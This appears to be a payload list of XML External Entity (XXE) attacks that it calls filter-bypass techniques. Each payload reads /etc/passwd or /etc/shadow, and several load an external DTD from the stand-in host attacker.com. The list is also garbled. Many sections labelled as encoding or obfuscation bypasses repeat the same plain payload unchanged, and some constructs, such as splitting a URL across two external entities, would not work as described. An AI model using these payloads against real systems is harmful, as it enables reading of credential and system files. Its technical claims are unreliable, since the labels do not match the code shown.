Advanced XXE Bypass Payloads
Use these advanced techniques to bypass sophisticated security filters:
1. UTF-8 Encoding Bypass:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
2. Unicode Encoding Bypass:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
3. String Concatenation Bypass:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "f">
<!ENTITY xxe2 SYSTEM "ile:///etc/passwd">
]>
<root><data>&xxe;&xxe2;</data></root>
4. Parameter Entity Bypass:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY xxe SYSTEM "data://text/plain;base64,%file;">
]>
<root><data>&xxe;</data></root>
5. External DTD Bypass:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root SYSTEM "http://attacker.com/evil.dtd">
<root><data>&xxe;</data></root>
// evil.dtd content:
<!ENTITY xxe SYSTEM "file:///etc/passwd">
6. Blind XXE with External DTD:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
]>
<root><data>&xxe;</data></root>
// evil.dtd content:
<!ENTITY xxe SYSTEM "file:///etc/passwd">
7. Obfuscated URL Schemes:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
8. Mixed Encoding Bypass:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
9. Case Variation Bypass:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "FILE:///etc/passwd">
]>
<root><data>&xxe;</data></root>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "File:///etc/passwd">
]>
<root><data>&xxe;</data></root>
10. Whitespace Bypass:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM " file:///etc/passwd ">
]>
<root><data>&xxe;</data></root>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM " file:///etc/passwd ">
]>
<root><data>&xxe;</data></root>
11. Tab and Newline Bypass:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM " file:///etc/passwd ">
]>
<root><data>&xxe;</data></root>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "
file:///etc/passwd
">
]>
<root><data>&xxe;</data></root>
12. Multiple Entity Declarations:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
%file;
]>
<root><data>&xxe;</data></root>
13. Nested Entity Declarations:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
]>
<root><data>&xxe;</data></root>
// evil.dtd content:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY xxe SYSTEM "data://text/plain;base64,%file;">
14. Conditional Entity Declarations:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
]>
<root><data>&xxe;</data></root>
// evil.dtd content:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY xxe SYSTEM "data://text/plain;base64,%file;">
<!ENTITY % file SYSTEM "file:///etc/shadow">
15. Advanced Obfuscation Techniques:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>